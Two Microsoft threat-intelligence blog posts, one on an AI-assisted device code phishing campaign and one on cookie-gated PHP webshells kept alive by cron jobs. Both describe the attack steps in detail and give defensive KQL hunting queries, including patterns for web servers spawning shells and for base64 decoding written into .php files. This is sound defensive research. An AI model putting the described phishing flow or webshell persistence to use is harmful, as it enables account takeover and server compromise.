Microsoft Defender Security Research has observed a widespread phishing campaign leveraging the Device Code Authentication flow to compromise organizational accounts at scale. While traditional device code attacks are typically narrow in scope, this campaign demonstrated a higher success rate, driven by automation and dynamic code generation that circumvented the standard 15-minute expiration window for device codes. This activity aligns with the emergence of EvilToken, a Phishing-as-a-Service (PhaaS) toolkit identified as a key driver of large-scale device code abuse.

This campaign is distinct because it moves away from static, manual scripts toward an AI-driven infrastructure and multiple automations end-to-end. This activity marks a significant escalation in threat actor sophistication since the Storm-2372 device code phishing campaign observed in February 2025.

• Advanced Backend Automation: Threat actors used automation platforms like Railway.com to spin up thousands of unique, short-lived polling nodes. This approach allowed them to deploy complex backend logic (Node.js), which bypassed traditional signature-based or pattern-based detection. This infrastructure was leveraged in the attack end-to-end from generating dynamic device codes to post compromise activities.
• Hyper-personalized lures: Generative AI was used to create targeted phishing emails aligned to the victim’s role, including themes such as RFPs, invoices, and manufacturing workflows, increasing the likelihood of user interaction.
• Dynamic Code Generation: To bypass the 15-minute expiration window for device codes, threat actors triggered code generation at the moment the user interacted with the phishing link, ensuring the authentication flow remained valid.
• Reconnaissance and Persistence: Although many accounts were compromised, follow-on activity focused on a subset of high-value targets. Threat actors used automated enrichment techniques, including analysis of public profiles and corporate directories, to identify individuals in financial or executive roles. This enabled rapid reconnaissance, mapping of permissions, and creation of malicious inbox rules for persistence and data exfiltration.

Once authentication tokens were obtained, threat actors focused on post-compromise activity designed to maintain access and extract data. Stolen tokens were used for email exfiltration and persistence, often through the creation of malicious inbox rules that redirected or concealed communications. In parallel, threat actors conducted Microsoft Graph reconnaissance to map organizational structure and permissions, enabling continued access and potential lateral movement while tokens remained valid.

Attack chain overview

Device Code Authentication is a legitimate OAuth flow designed for devices with limited interfaces, such as smart TVs or printers, that cannot support a standard interactive login. In this model, a user is presented with a short code on the device they are trying to sign in from and is instructed to enter that code into a browser on a separate device to complete authentication.

While this flow is useful for these scenarios, it introduces a security tradeoff. Because authentication is completed on a separate device, the session initiating the request is not strongly bound to the user’s original context. Threat actors have abused this characteristic as a way to bypass more traditional MFA protections by decoupling authentication from the originating session.

Device code phishing occurs when threat actors insert themselves into this process. Instead of a legitimate device requesting access, the threat actor initiates the flow and provides the user with a code through a phishing lure. When the user enters the code, they unknowingly authorize the threat actor’s session, granting access to the account without exposing credentials.

Phase 1: Reconnaissance and target validation

 The threat actor begins by verifying account validity using the GetCredentialType endpoint. By querying this specific Microsoft URL, the threat actor confirms whether a targeted email address exists and is active within the tenant. This reconnaissance phase is a critical precursor, typically occurring 10 to 15 days before the actual phishing attempt is launched.

The campaign uses a multi-stage delivery pipeline designed to bypass traditional email gateways and endpoint security. The attack begins when a user interacts with a malicious attachment or a direct URL embedded within a high-pressure lure (e.g., “Action Required: Password Expiration”).

To evade automated URL scanners and sandboxes, the threat actors do not link directly to the final phishing site. Instead, they use a series of redirects through compromised legitimate domains and high-reputation “Serverless” platforms. We observed heavy reliance on Vercel (*.vercel.app), Cloudflare Workers (*.workers.dev), and AWS Lambda to host the redirect logic. By using these domains, the phishing traffic “blends in” with legitimate enterprise cloud traffic, preventing simple domain-blocklist triggers.

Once the targeted user is redirected to the final landing page, the user is presented with the credential theft interface. This is hosted as browser-in-the-browser (an exploitation technique commonly leveraged by the threat actor that simulates a legitimate browser window within a web page that loads the content threat actor has created) or displayed directly within the web-hosted “preview” of the document with a blurred view, “Verify identity” button that redirects the user to “Microsoft.com/devicelogin” and device code displayed.

Below is an example of the final landing page, where the redirect to DeviceLogin is rendered as browser-in-the-browser.

The campaign utilized diverse themes, including document access, electronic signing, and voicemail notifications. In specific instances, the threat actor prompted users for their email addresses to facilitate the generation of a malicious device code.

Unlike traditional phishing that asks for a password, this “Front-End” is designed to facilitate a handoff. The page is pre-loaded with hidden automation. The moment the “Continue to Microsoft” button is clicked, the authentication begins, preparing the victim for the “Device Code” prompt that follows in the next stage of the attack.

The threat actor used a combination of domain shadowing and brand-impersonating subdomains to bypass reputation filters. Several domains were designed to impersonate technical or administrative services (e.g., graph-microsoft[.]com, portal-azure[.]com, office365-login[.]com). Also, multiple randomized subdomains were observed (e.g., a7b2-c9d4.office-verify[.]net). This is a common tactic to ensure that if one URL is flagged, the entire domain isn’t necessarily blocked immediately. Below is a distribution of Domain hosting infrastructure abused by the threat actor:

Phase 2: Initial access

The threat actor distributes deceptive emails to the intended victims, utilizing a wide array of themes like invoices, RFPs, or shared files. These emails contain varied payloads, including direct URLs, PDF attachments, or HTML files. The goal is to entice the user into interacting with a link that will eventually lead them to a legitimate-looking but threat actor-controlled interface.

Phase 3: Dynamic device code generation

When a user clicks the malicious link, they are directed to a web page running a background automation script. This script interacts with the Microsoft identity provider in real-time to generate a live Device Code. This code is then displayed on the user’s screen along with a button that redirects them to the official microsoft.com/devicelogin portal.

The 15-Minute race: Static vs. dynamic

A pivotal element of this campaign’s success is Dynamic Device Code Generation, a technique specifically engineered to bypass the inherent time-based constraints of the OAuth 2.0 device authorization flow. A generated device code remains valid for only 15 minutes. (Ref: OAuth 2.0 device authorization grant). In older, static phishing attempts, the threat actor would include a pre-generated code within the email itself. This created a narrow window for success: the targeted user had to be phished, open the email, navigate through various redirects, and complete a multi-step authentication process all before the 15-minute timer lapsed. If the user opened the email even 20 minutes after it was sent, the attack would automatically fail due to the expired code.

Dynamic Generation effectively solves this for the threat actor. By shifting the code generation to the final stage of the redirect chain, the 15-minute countdown only begins the moment the victim clicks the phishing link and lands on the malicious page. This ensures the authentication code is always active when the user is prompted to enter it.

Generating the device code

The moment the user is redirected to the final landing page, the script on the page initiates a POST request to the threat actor’s backend (/api/device/start/ or /start/). The threat actor’s server acts as a proxy. The request carries a custom HTTP header “X-Antibot-Token” with a 64-character hex value, and an empty body (content-length: 0)

It contacts Microsoft’s official device authorization endpoint on-demand and provides the user’s email address as hint. The server returns a JSON object containing Device Code (with a full 15-minute lifespan) and a hidden Session Identifier Code. Until this is generated, the landing page takes some time to load.

Phase 4: Exploitation and authentication

To minimize user effort and maximize the success rate, the threat actor’s script often automatically copies the generated device code to the user’s clipboard. Once the user reaches the official login page, they paste the code. If the user does not have an active session, they are prompted to provide their password and MFA. If they are already signed in, simply pasting the code and confirming the request instantly authenticates the threat actor’s session on the backend.

Clipboard manipulation

To reduce a few seconds in 15-minute window and to enable user to complete authentication faster, the script immediately executes a clipboard hijack. Using the navigator.clipboard.writeText API, the script pushes the recently generated Device Code onto the victim’s Windows clipboard. Below is a screenshot of a campaign where the codes were copied to the user’s clipboard from the browser.

Phase 5 – Session validation

Immediately following a successful compromise, the threat actor performs a validation check. This automated step ensures that the authentication token is valid and that the necessary level of access to the target environment has been successfully granted.

The Polling

After presenting the code to the user and opening the legitimate microsoft.com/devicelogin URL, the script enters a “Polling” state via the checkStatus() function to monitor the 15-minute window in real-time. Every 3 to 5 seconds (setInterval), the script pings the threat actor’s /state endpoint. It sends the secret session identifier code to validate if the user has authenticated yet. While the targeted user is entering the code on the real Microsoft site, the loop returns a “pending” status.

The moment the targeted user completes the MFA-backed login, the next poll returns a success status. The threat actor’s server now possesses a live Access Token for the targeted user’s account, bypassing MFA by design, due to the use of the alternative Device Code flow. The user is also redirected to a placeholder website (Docusign/Google/Microsoft).

Phase 6: Establish persistence and post exploitation

The final stage varies depending on the threat actor’s specific objectives. In some instances, within 10 minutes of the breach, threat actor’s registered new devices to generate a Primary Refresh Token (PRT) for long-term persistence. In other scenarios, they waited several hours before creating malicious inbox rules or exfiltrating sensitive email data to avoid immediate detection.

Post compromise

Following the compromise, attack progression was predominantly observed towards Device Registration and Graph Reconnaissance.

In a selected scenario, the attack progressed to email exfiltration and account persistence through Inbox rules created using Microsoft Office Application. This involved filtering the compromised users and selecting targets:

• Persona Identification: The threat actor reviewed and filtered for high-value personas—specifically those in financial, executive, or administrative roles—within the massive pool of compromised users.
• Accelerated Reconnaissance:  Using Microsoft Graph reconnaissance, the threat actor programmatically mapped internal organizational structures and identify sensitive permissions the moment a token was secured.
• Targeted Financial Exfiltration: The most invasive activity was reserved for users with financial authority. For these specific profiles, the threat actors performed deep-dive reconnaissance into email communications, searching for high-value targets like wire transfer details, pending invoices, and executive correspondence.

Below is an example of an Inbox rule created by the threat actor using Microsoft Office Application.

Mitigation and protection guidance

To harden networks against the Device code phishing activity described above, defenders can implement the following:

• Only allow device code flow where necessary. Microsoft recommends blocking device code flow wherever possible. Where necessary, configure Microsoft Entra ID’s device code flow in your Conditional Access policies.
• Educate users about common phishing techniques. Sign-in prompts should clearly identify the application being authenticated to. As of 2021, Microsoft Azure interactions prompt the user to confirm (“Cancel” or “Continue”) that they are signing in to the app they expect, which is an option frequently missing from phishing sign-ins. Be cautious of any “[EXTERNAL]” messages containing suspicious links. Do not sign-in to resources provided by unfamiliar senders. For more tips and guidance – refer to Protect yourself from phishing | Microsoft Support.
• Configure Anti-phising policies. Anti-phishing policies protect against phishing attacks by detecting spoofed senders, impersonation attempts, and other deceptive email techniques.
• Configure Safelinks in Defender for Office 365. Safe Links scanning protects your organization from malicious links that are used in phishing and other attacks. Safe Links can also enable high confidence Device Code phishing alerts from Defender.
• If suspected device code phishing activity is identified, revoke the user’s refresh tokens by calling revokeSign-inSessions. Consider setting a Conditional Access Policy to force re-authentication for users.
• Implement a sign-in risk policy  to automate response to risky sign-ins. A sign-in risk represents the probability that a given authentication request is not authorized by the identity owner. A sign-in risk-based policy can be implemented by adding a sign-in risk condition to Conditional Access policies that evaluates the risk level of a specific user or group. Based on the risk level (high/medium/low), a policy can be configured to block access or force multi-factor authentication.
  • When a user is a high risk and Conditional access evaluation is enabled, the user’s access is revoked, and they are forced to re-authenticate.
  • For regular activity monitoring, use Risky sign-in reports, which surface attempted and successful user access activities where the legitimate owner might not have performed the sign-in. 

Microsoft recommends the following best practices to further help improve organizational defences against phishing and other credential theft attacks:

• Require multifactor authentication (MFA). Implementation of MFA remains an essential pillar in identity security and is highly effective at stopping a variety of threats.
  • Leverage phishing-resistant authentication methods such as FIDO Tokens, or Microsoft Authenticator with passkey. Avoid telephony-based MFA methods to avoid risks associated with SIM-jacking.
  • Block legacy authentication with Microsoft Entra by using Conditional Access. Legacy authentication protocols do not have the ability to enforce MFA, as legacy MFA (per-user MFA prompts) is susceptible to abuse.
• Centralize your organization’s identity management into a single platform. If your organization is a hybrid environment, integrate your on-premises directories with your cloud directories. If your organization is using a third-party for identity management, ensure this data is being logged in a SIEM or connected to Microsoft Entra to fully monitor for malicious identity access from a centralized location. The added benefits to centralizing all identity data is to facilitate implementation of Single Sign On (SSO) and provide users with a more seamless authentication process, as well as configure Entra ID’s machine learning models to operate on all identity data, thus learning the difference between legitimate access and malicious access quicker and easier. It is recommended to synchronize all user accounts except administrative and high privileged ones when doing this to maintain a boundary between the on-premises environment and the cloud environment, in case of a breach.
• Secure accounts with credential hygiene: practice the principle of least privilege and audit privileged account activity in your Entra ID environments to slow and stop the threat actor.

Microsoft Defender XDR detections

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.

Using Safe Links and Microsoft Entra ID protection raises high confidence Device Code phishing alerts from Defender.

Microsoft Sentinel

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the malicious indicators mentioned in this blog post with data in their workspace. Additionally, Microsoft Sentinel customers can use the following queries to detect phishing attempts and email exfiltration attempts via Graph API. These queries can help customers remain vigilant and safeguard their organization from phishing attacks:

• Campaign with suspicious keywords
• Determine Successfully Delivered Phishing Emails to Inbox/Junk folder.
• Successful Sign-in from Phishing Link
• Phishing link click observed in Network Traffic
• Suspicious URL clicked Anomaly of MailItemAccess by GraphAPI
• OAuth Apps accessing user mail via GraphAPI
• OAuth Apps reading mail both via GraphAPI and directly
• OAuth Apps reading mail via GraphAPI anomaly 

Microsoft Security Copilot  

Security Copilot customers can use the standalone experience to create their own prompts or run the following prebuilt promptbooks to automate incident response or investigation tasks related to this threat:  

• Incident investigation  
• Microsoft User analysis  
• Threat actor profile  
• Threat Intelligence 360 report based on MDTI article  
• Vulnerability impact assessment  

Note that some promptbooks require access to plugins for Microsoft products such as Microsoft Defender XDR or Microsoft Sentinel.  

Threat intelligence reports

Microsoft customers can use the following reports in Microsoft products to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

Advanced hunting

Defender XDR customers can run the following queries to identify possible device code phishing related activity in their networks:

Validate errorCode 50199 followed by success in 5-minute time interval for the interested user, which suggests a pause to input the code from the phishing email.

EntraIdSigninEvents
    | where ErrorCode in (0, 50199)
    | summarize ErrorCodes = make_set(ErrorCode) by AccountUpn, CorrelationId, SessionId, bin(Timestamp, 1h)
    | where ErrorCodes has_all (0, 50199)

Validate Device code authentication from suspicious IP Ranges.

EntraIdSigninEvents
    | where Call has “Cmsi:cmsi” 
    | where IPAddress has_any (“160.220.232.”, “160.220.234.”, “89.150.45.”, “185.81.113.”, “8.228.105.”)

Correlate any URL clicks with suspicious sign-ins that follow with user interrupt indicated by the error code 50199.

let suspiciousUserClicks = materialize(UrlClickEvents
    | extend AccountUpn = tolower(AccountUpn)
    | project ClickTime = Timestamp, ActionType, UrlChain, NetworkMessageId, Url, AccountUpn);
//Check for Risky Sign-In in the short time window
let interestedUsersUpn = suspiciousUserClicks
    | where isnotempty(AccountUpn)
    | distinct AccountUpn;
EntraIdSigninEvents
    | where ErrorCode == 0
    | where AccountUpn in~ (interestedUsersUpn)
    | where RiskLevelDuringSignin in (10, 50, 100)
    | extend AccountUpn = tolower(AccountUpn)
    | join kind=inner suspiciousUserClicks on AccountUpn
    | where (Timestamp - ClickTime) between (-2min .. 7min)
    | project Timestamp, ReportId, ClickTime, AccountUpn, RiskLevelDuringSignin, SessionId, IPAddress, Url

Monitor for suspicious Device Registration activities that follow the Device code phishing compromise.

CloudAppEvents
| where AccountDisplayName == "Device Registration Service"
| extend ApplicationId_ = tostring(ActivityObjects[0].ApplicationId)
| extend ServiceName_ = tostring(ActivityObjects[0].Name)
| extend DeviceName = tostring(parse_json(tostring(RawEventData.ModifiedProperties))[1].NewValue)
| extend DeviceId = tostring(parse_json(tostring(parse_json(tostring(RawEventData.ModifiedProperties))[6].NewValue))[0])
| extend DeviceObjectId_ = tostring(parse_json(tostring(RawEventData.ModifiedProperties))[0].NewValue)
| extend UserPrincipalName = tostring(RawEventData.ObjectId)
| project TimeGenerated, ServiceName_, DeviceName, DeviceId, DeviceObjectId_, UserPrincipalName

Surface suspicious inbox rule creation (using applications) that follow the Device code phishing compromise.

CloudAppEvents
| where ApplicationId == “20893” // Microsoft Exchange Online
| where ActionType in ("New-InboxRule","Set-InboxRule","Set-Mailbox","Set-TransportRule","New-TransportRule","Enable-InboxRule","UpdateInboxRules")
| where isnotempty(IPAddress)
| mv-expand ActivityObjects
| extend name = parse_json(ActivityObjects).Name
| extend value = parse_json(ActivityObjects).Value
| where name == "Name"
| extend RuleName = value 
// we are extracting rule names that only contains special characters
| where RuleName matches regex "^[!@#$%^&*()_+={[}\\]|\\\\:;""'<,>.?/~` -]+$"

Surface suspicious email items accessed that follow the Device code phishing compromise.

CloudAppEvents
| where ApplicationId == “20893” // Microsoft Exchange Online
| where ActionType == “MailItemsAccessed”
| where isnotempty(IPAddress)
| where UncommonForUser has "ISP"

Indicators of compromise (IOC)

References

• Storm-2372 conducts device code phishing campaign
• Microsoft Documentation – OAuth 2.0 device authorization grant flow
• Huntress – Riding the Rails: Threat Actors Abuse Railway.com PaaS as Microsoft 365 Token Attack Infrastructure
• Seqoia – New widespread EvilTokens kit: device code phishing as-a-service – Part 1

This research is provided by Microsoft Defender Security Research with contributions from Krithika Ramakrishnan, Ofir Mastor, Bharat Vaghela, Shivas Raina, Parasharan Raghavan, and other members of Microsoft Threat Intelligence.

Learn more

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

• Evaluate your AI readiness with our latest Zero Trust for AI workshop.
• Learn more about Protect your agents in real-time during runtime (Preview)
• Explore how to build and customize agents with Copilot Studio Agent Builder 
• Microsoft 365 Copilot AI security documentation 
• How Microsoft discovers and mitigates evolving attacks against AI guardrails 
• Learn more about securing Copilot Studio agents with Microsoft Defender  

The post Inside an AI‑enabled device code phishing campaign appeared first on Microsoft Security Blog.

Threat actors are increasingly abusing HTTP cookies as a control channel for PHP-based webshells on Linux servers. Instead of exposing command execution through URL parameters or request bodies, these webshells rely on threat actor-supplied cookie values to gate execution, pass instructions, and activate malicious functionality.

This approach reduces visibility by allowing malicious code to remain dormant during normal application behavior and execute only when specific cookie conditions are met. This technique has been observed across multiple execution contexts, including web requests, scheduled tasks, and trusted background workers.

The consistent use of cookies as a control mechanism suggests reuse of established webshell tradecraft. By shifting control logic into cookies, threat actors enable persistent post-compromise access that can evade many traditional inspection and logging controls.

Cookie-controlled execution behavior

Across the activity analyzed, HTTP cookies acted as the primary trigger for malicious execution. Instead of exposing functionality through visible URL parameters or request bodies, the webshell logic remained dormant unless specific cookie values were present. Only when those conditions were satisfied did the script reconstruct and execute threat actor–controlled behavior.

Threat actors likely prefer this approach because cookies blend into normal web traffic and often receive less scrutiny than request paths or payloads. In PHP, cookie values are immediately available at runtime, for example through the $_COOKIE superglobal, allowing malicious code to consume attacker-supplied input without additional parsing. By shifting execution control into cookies, the webshell can remain hidden in normal traffic, activating only during deliberate interactions. This reduces routine logging and inspection visibility while enabling persistent access without frequent changes to files on disk.

Observed variants of cookie-controlled PHP web shells

Although the core technique remained consistent across incidents, the PHP implementations varied in structure and complexity. The following examples illustrate how attackers adapted the same cookie-controlled execution model across different environments. 

Loader with execution gating and layered obfuscation

One observed implementation introduced an additional execution gate before processing any cookie input. The loader first evaluated request context and reconstructed core PHP functions dynamically using arithmetic operations and string manipulation. Sensitive function names were intentionally absent in cleartext, significantly reducing obvious indicators and complicating pattern-based detection. 

After the initial base64 decoding, the PHP script did not immediately reveal obvious command functionality. Instead, it exposed a second, deliberate layer of obfuscation. Critical operations were rebuilt programmatically at runtime, with function names and execution logic assembled character-by-character. This design ensured that meaningful behavior remained concealed until execution conditions were satisfied.

Only after these runtime checks passed did the script begin parsing structured cookie input. Cookie values were segmented and transformed into function identifiers, file paths, and decoding routines. If a secondary payload was not already present, the loader reconstructed it from encoded data, wrote it to a dynamically determined location, and transferred execution using ‘include’. 

This layered approach separated deployment, obfuscation, and activation into distinct stages. Under routine traffic, the file appeared inert. When supplied with deliberate attacker-controlled input, however, it transitioned into a fully functional execution framework.

Direct cookie-driven payload stager

Another observed implementation relied on structured cookie data without extensive preliminary gating. The script segmented cookie input to reconstruct operational components such as file handling and decoding functions. As with the previous loader, it conditionally wrote a secondary payload to disk and executed it if absent.

Although simpler in structure, this variant achieved the same objective: staged deployment and execution controlled by cookie values rather than visible request parameters.

Cookie-gated interactive webshell

A streamlined variant was also observed in which a single cookie value acts as an execution key. When the expected cookie condition is met, the script enables threat actor–controlled actions, including direct execution of supplied input and, in some cases, file upload. Unlike staged loader chains, this implementation operates within a single script and does not rely on a separate secondary payload written to disk.

In this design, cookies primarily serve as a validation mechanism rather than a payload container.

Observed attack flow: Persistence through scheduled tasks

During incident investigation, we analyzed a compromise in which the threat actor prioritized durable, low-noise persistence within a hosted Linux environment. After obtaining access to the victim’s hosting account, the threat actor used the platform’s legitimate management interface, such as a control panel workflow, to register a cron job. In environments that provide restricted shell access, for example via /usr/local/cpanel/bin/jailshell, authenticated users can execute commands within their account boundary, including registering or launching scheduled tasks. Because these actions follow normal administrative paths, they appear as routine account-level operations rather than overt system modifications.

In shared hosting scenarios, this level of access is typically equivalent to user-level control within the account’s isolated environment. While it does not indicate root-level compromise or control of the underlying server, it provides sufficient capability to modify web content, deploy PHP scripts, and schedule recurring execution through cron. These permissions are often enough to convert temporary access into persistent remote code execution within the hosted account.

As illustrated in the diagram, the cron job executed at regular intervals and invoked a shell routine that reconstructed an obfuscated PHP loader into a web-accessible location. This behavior was intentionally implemented to maintain persistence. If the loader was removed, the scheduled task recreated it on the next execution cycle. The job also applied restrictive file permissions, making manual modification or removal more difficult during incident response.

This “self-healing” mechanism, controlled by the threat actor, allowed the malicious file to reappear after cleanup attempts, complicating remediation and enabling a more stable foothold within the affected hosting account.

Once deployed, the PHP loader followed the same low-visibility pattern described earlier. It remained inactive during normal traffic and activated only when specific cookie conditions were met. On activation, it dynamically rebuilt functionality at runtime and transferred execution to threat actor–controlled logic. By separating persistence through cron-based re-creation from execution control through cookie-gated activation, the threat actor reduced operational noise and limited observable indicators in routine application logs.

Commonalities and delivery methods

Across the activity analyzed, a consistent operational pattern emerged. While individual implementations varied in structure, each relied on multi-layer obfuscation to conceal sensitive functionality and cookie-gated execution to control activation. Under routine traffic conditions, the scripts remained dormant. Only when specific cookie values were supplied did the malicious logic reconstruct and execute. Whether deployed as a staged loader or an interactive webshell, the objective remained consistent: controlled activation with minimal observable footprint.

The delivery mechanism followed a similarly deliberate design. In multiple environments, web-facing processes such as php-fpm spawned shell commands that reconstructed obfuscated PHP files using the recognizable echo | base64 -d > file.php pattern. In other cases, equivalent commands were executed within restricted shell environments, such as through cPanel jailshell, or established via scheduled tasks at the hosting account level.

Rather than relying on complex exploit chains, the threat actor leveraged legitimate execution paths already present in the environment, including web server processes, control panel components, and cron infrastructure, to stage and preserve malicious code. The repeated use of base64 reconstruction combined with multi-layer runtime obfuscation separated deployment, concealment, and activation into distinct phases. This layered design allowed the malicious code to blend into normal operational activity while maintaining reliable remote code execution.

Why persistence enables long-term remote code execution

In the attacks analyzed, persistence was deliberate, not incidental. Rather than depending on a single exploit or a short-lived foothold, the threat actor turned initial access into a repeatable mechanism for remote code execution (RCE). By combining scheduled tasks with obfuscated PHP loaders, they preserved the ability to execute code even after the original entry point was remediated or access paths were disrupted.

Persistent RCE provides long-term flexibility. It allows threat actors to return on demand to run additional commands, deploy follow-on payloads, alter application behavior, or pivot to other resources without repeatedly re-triggering the same exploit chain. This reduces operational risk and can limit the number of noisy intrusion attempts that might otherwise raise alerts.

In shared hosting environments, account-level access is often sufficient to create scheduled tasks, modify web content, and run arbitrary PHP within the affected site’s boundaries. When execution is further protected behind cookie-gated activation, the malicious logic can remain dormant during routine activity and activate only when the threat actor supplies the correct input. Over time, this durable access can support data theft, expansion to adjacent applications, or compromise of connected services, often with minimal visible disruption.

Mitigation and protection guidance 

Microsoft recommends the following mitigations to reduce the impact of PHP webshell–based compromises discussed in this report. These recommendations build on established guidance from previous Microsoft Defender research and align with protections available across Microsoft Defender XDR to help organizations prevent, detect, and respond to post-compromise web shell activity targeting web servers and application workloads. 

Strengthen Hosting Account Security 
Enforce multi-factor authentication for hosting control panels, SSH access, and administrative interfaces. Monitor for unusual login activity, particularly from unfamiliar IP addresses or geographies, as compromised account credentials are often sufficient to deploy webshells and create persistence mechanisms. 

Restrict Web Server Process Execution 
Limit the ability of web‑facing services such as php‑fpm or application worker workloads to spawn shell processes. Restrict the execution of shell interpreters (sh, bash, dash) and commonly abused encoding or file ingress utilities such as base64, curl, and wget from web server execution contexts unless they are explicitly required by the application.  

Advanced Hunting can be used to surface cases where web server workloads spawn shell interpreters or execute encoded or file‑retrieval commands, as these patterns provide high‑signal indicators of webshell execution and command injection attempts. 

Audit and Monitor Scheduled Tasks 
Regularly review account‑level cron jobs and scheduled tasks across web servers and application hosts. Unexpected entries that invoke shell commands or write files into web‑accessible directories may indicate persistence mechanisms used to deploy, restore, or re‑activate malicious webshell loaders.  

Advanced Hunting can be used to identify cron‑initiated execution patterns, including unusually short execution intervals (for example, recurring one‑minute jobs) and command lines associated with file creation, script execution, encoding utilities, or file ingress tools. These behaviours are commonly observed during web shell persistence and recovery activity following initial compromise 

Inspect Suspicious File Creation in Web Directories 
Focus on suspicious content deployment into web directories by monitoring the command‑line techniques used to write or retrieve files, rather than relying on file creation telemetry alone. Attackers frequently deploy PHP web shells by decoding obfuscated payloads inline (for example, using echo piped to base64 -d with output redirection) or by downloading scripts via file ingress tools such as curl or wget from web server or application execution contexts.  

Advanced Hunting can be used to identify these behaviors by querying process execution events for decoding pipelines, redirection operators, or network retrieval utilities associated with web-facing workloads, providing high‑signal visibility into webshell deployment activity. 

Limit Control Panel Shell Capabilities 
Where hosting control panels are used, restrict or disable shell access such as jailshell wherever possible. If shell access is required, enforce strict access controls and closely monitor command execution to reduce the risk of attackers abusing these environments to deploy or interact with malicious PHP loaders and webshells.

Advanced hunting queries that track command execution from control panel restricted shells can help identify abuse patterns in which attackers leverage legitimate hosting features to maintain access or execute post-compromise tooling. 

Microsoft recommends the following mitigations to reduce the impact of this threat in Linux environments protected by Microsoft Defender for Endpoint: 

• Enable cloud-delivered protection in Microsoft Defender for Endpoint on Linux or the equivalent capability in your antivirus solution. Cloud-based protection helps rapidly detect and block emerging attacker tools, including newly deployed PHP webshells and post-compromise scripts that may evade traditional signature-based detection. 

• Ensure real-time protection is enabled on Linux servers to continuously scan files written to disk, including web directories commonly targeted during PHP web shell deployment (such as /var/www, application upload paths, and temporary directories). 

• Enable behaviour monitoring to detect suspicious runtime activity associated with webshell abuse, such as anomalous child processes spawned by web server processes, execution of system utilities from PHP interpreters, credential access attempts, or data staging and exfiltration behaviours.

Microsoft Defender XDR detections

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog. 

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence. Security teams can leverage Copilot to assist with the analysis and interpretation of obfuscated or heavily encoded scripts, helping accelerate triage and improve understanding of attacker tradecraft during web shell and post-compromise investigations. 

Microsoft Security Copilot prompts

Security Copilot customers can use the standalone experience to create their own prompts or run the following prebuilt promptbooks to automate incident response or investigation tasks related to this threat:   

• Incident investigation   

• Microsoft User analysis   

• Threat actor profile   

• Threat Intelligence 360 report based on MDTI article   

• Vulnerability impact assessment   

Note that some promptbooks require access to plugins for Microsoft products such as Microsoft Defender XDR or Microsoft Sentinel.

Microsoft Defender XDR threat analytics

Advanced Hunting queries    

Web Server Spawning Shell 

DeviceProcessEvents 
| where InitiatingProcessFileName in~ ("php-fpm", "httpd", "apache2", "nginx") 
| where FileName in~ ("bash", "sh", "dash") 
| project Timestamp, DeviceName, AccountName, 
          InitiatingProcessFileName, InitiatingProcessCommandLine, 
          FileName, ProcessCommandLine, FolderPath 
| order by Timestamp desc 

Base64 Decode Writing PHP File 

DeviceProcessEvents 
| where FileName in~ ("bash", "sh", "dash", "jailshell") 
| where ProcessCommandLine has "base64" 
| where ProcessCommandLine has ".php" 
| project Timestamp, DeviceName, AccountName, 
          ProcessCommandLine, 
          InitiatingProcessFileName, 
          InitiatingProcessCommandLine 
| order by Timestamp desc 

tee Writing PHP Files

DeviceProcessEvents 
| where ProcessCommandLine has "tee" 
| where ProcessCommandLine has ".php" 
| project Timestamp, DeviceName, AccountName, 
          InitiatingProcessFileName, 
          ProcessCommandLine 
| order by Timestamp desc 

cPanel / jailshell Abuse

DeviceProcessEvents 
| where FileName in~ ("jailshell", "cpanel") 
| project Timestamp, DeviceName, AccountName, 
          FileName, ProcessCommandLine, 
          InitiatingProcessFileName, InitiatingProcessCommandLine 
| order by Timestamp desc 

High-Risk Combined Pattern

DeviceProcessEvents 
| where InitiatingProcessFileName in~ ("php-fpm", "httpd", "apache2", "nginx", "cron", "crond") 
| where ProcessCommandLine has "base64" 
| where ProcessCommandLine has_any (".php", "public_html", "vendor") 
| project Timestamp, DeviceName, AccountName, 
          InitiatingProcessFileName, 
          ProcessCommandLine 
| order by Timestamp desc

Unexpected Shell from Backend Workers

DeviceProcessEvents 
| where InitiatingProcessCommandLine has_any ("artisan", "queue:work", "fwconsole") 
| where FileName in~ ("bash", "sh", "dash") 
| project Timestamp, DeviceName, 
          InitiatingProcessCommandLine, 
          ProcessCommandLine 
| order by Timestamp desc 

Repeated Execution Pattern (1-Minute Cron)

DeviceProcessEvents 
| where InitiatingProcessFileName in~ ("cron", "crond") 
| summarize count() by DeviceName, ProcessCommandLine, bin(Timestamp, 1m) 
| where count_ > 10 
| order by count_ desc

MITRE ATT&CK™ Techniques observed

This campaign exhibited the following MITRE ATT&CK™ techniques across multiple tactics. For detailed detection and prevention capabilities, see the Microsoft Defender XDR Detections section below. 

References

• Microsoft Security Blog – Ghost in the Shell: Investigating Web Shell Attacks 
  http://approjects.co.za/?big=en-us/security/blog/2020/02/04/ghost-in-the-shell-investigating-web-shell-attacks/  

• Gigamon – Investigating Web Shells 
  https://blog.gigamon.com/2022/09/28/investigating-web-shells/  

• Imperva – What Is a Web Shell? 
  https://www.imperva.com/learn/application-security/web-shell/  

• Acunetix – An Introduction to Web Shells 
  https://www.acunetix.com/blog/articles/introduction-web-shells-part-1/  

This research is provided by Microsoft Defender Security Research with contributions from Yashashree Gund and other members of Microsoft Threat Intelligence.

Learn more

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

Learn more about Protect your agents in real-time during runtime (Preview) – Microsoft Defender for Cloud Apps

Explore how to build and customize agents with Copilot Studio Agent Builder 

Microsoft 365 Copilot AI security documentation 

How Microsoft discovers and mitigates evolving attacks against AI guardrails 

Learn more about securing Copilot Studio agents with Microsoft Defender  

The post Cookie-controlled PHP webshells: A stealthy tradecraft in Linux hosting environments appeared first on Microsoft Security Blog.

